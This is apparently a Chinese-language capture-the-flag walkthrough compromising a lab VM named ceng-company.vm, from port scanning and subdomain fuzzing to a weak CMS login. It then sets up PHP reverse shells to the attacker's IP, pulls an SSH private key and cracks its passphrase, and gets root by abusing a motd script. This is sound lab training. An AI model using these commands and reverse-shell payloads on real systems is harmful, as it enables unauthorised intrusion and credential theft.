主机探活
nmap -sP 192.168.159.0/24
目标靶机IP为:192.168.159.181
端口发现
nmap -sV -p- -A 192.168.159.181
目标靶机开放端口为:21、22、80
21端口
nmap扫描结果显示可以匿名访问ftp服务器,访问
查看提示信息
知道了现在充值面板密码为默认密码,知道了新的域名 ceng-company.vm ,知道了两个用户名Kevin ,Aaron
80端口
修改本地hosts文件
vi /etc/hosts
目录扫描
dirsearch -u http://ceng-company.vm
只有一个页面,且访问后无有用信息
子域名
wfuzz -H 'HOST: FUZZ.ceng-company.vm' -u 'http://192.168.159.181' -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --hw 76,53
找到一个子域名 admin
将其放入本地 hosts 文件,并访问
不让访问,并且扫目录也没有收获。。。
尝试了 x-forwarded-for 也不能访问
后面发现是字典太小了,重新换个大点的字典扫描
gobuster dir -u http://admin.ceng-company.vm \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \
-x php,txt,html,js,php.bak,txt.bak,html.bak,json,git,git.bak,zip,zip.bak
找到一个新的目录 gila ,访问
gilaCMS
发现这个网站是一个 CMS,但是不知道版本信息
目录扫描看一下
存在admin页面,访问查看
根据我们之前从 ftp 上获得的信息,这里应该存在弱口令,尝试
发现用户名:Kevin@ceng-company.vm 密码:admin
反弹shell
利用弱口令成功登陆后台
寻找到了可以修改的php页面
将其改为 php_reverse
本地开启端口监听并保存触发该文件
成功获得shell
提权
sudo
习惯性 sudo -l 了一下,没想到真的有。。。(一般 www都没有或者需要密码)
可以以 swartz 用户的身份运行 runphp.sh 脚本
查看这个脚本相关信息
可读可执行,运行一个php环境
执行该脚本
sudo -u swartz /home/swartz/runphp.sh
成功进入 php 命令行模式
swartz
先弹个shell回来
$sock=fsockopen("192.168.159.131",7778);exec("/bin/sh -i <&3 >&3 2>&3");
成功切换到 swartz用户
在经过 suid 等一系列常规操作后没有发现什么有用的信息,因此进行信息收集
在/home/mitnick 目录下发现 .ssh 文件夹属主可读可执行
而我们当前用户刚好是该属组,进入文件夹查看
ssh免密登录
发现公私钥,应该可以进行免密登录
开启python服务,本机下载该私钥文件
python3 -m http.server
wget 192.168.159.181:8000/id_rsa
修改该私钥文件权限为 400,否则不可用
使用该私钥连接主机
ssh 192.168.159.181 -l mitnick -i id_rsa
私钥有密码。。。
# 提取私钥中的hash
ssh2john id_rsa > hash
# 暴力破解密码
john --wordlist=/usr/share/wordlists/rockyou.txt hash
获得密码:legend
重新连接
成功连接主机
上传脚本
在 mitnick 用户下进行了 suid 等一系列操作,没有发现可用信息,只能上传pspy脚本测试
wget 192.168.159.131/pspy64
chmod +x pspy64
./pspy64
发现两条有意思的命令
/bin/cp /var/update-motd.d/00-header /var/update-motd.d/10-help-text /var/update-motd.d/90-updates-available /var/update-motd.d/91-release-upgrade /var/update-motd.d/99-esm /etc/update-motd.d/
/bin/sh -c /bin/cp /var/update-motd.d/* /etc/update-motd.d/
这个文件看着很眼熟,是在系统启动时运行的,可以设置开机界面的显示
我们先看一看
可以看见 var 下的文件不可修改, etc 下的文件可修改
而按时运行的脚本是将 var 下的复制到 etc 下
并且这个登录显示的默认位置为 etc 下,也就是说这个可以修改的文件才是真正控制开机显示的,而cp命令大概率是为了防止它被修改
开机显示 /etc/update-motd.d/
修改 00-header 文件,将/bin/bash 设置为suid,实现提权
chmod +s /bin/bash
重新ssh登录,成功获取root权限
/bin/bash -p # -p 参数之前说过,不再详说,目的是使 euid 不失效
|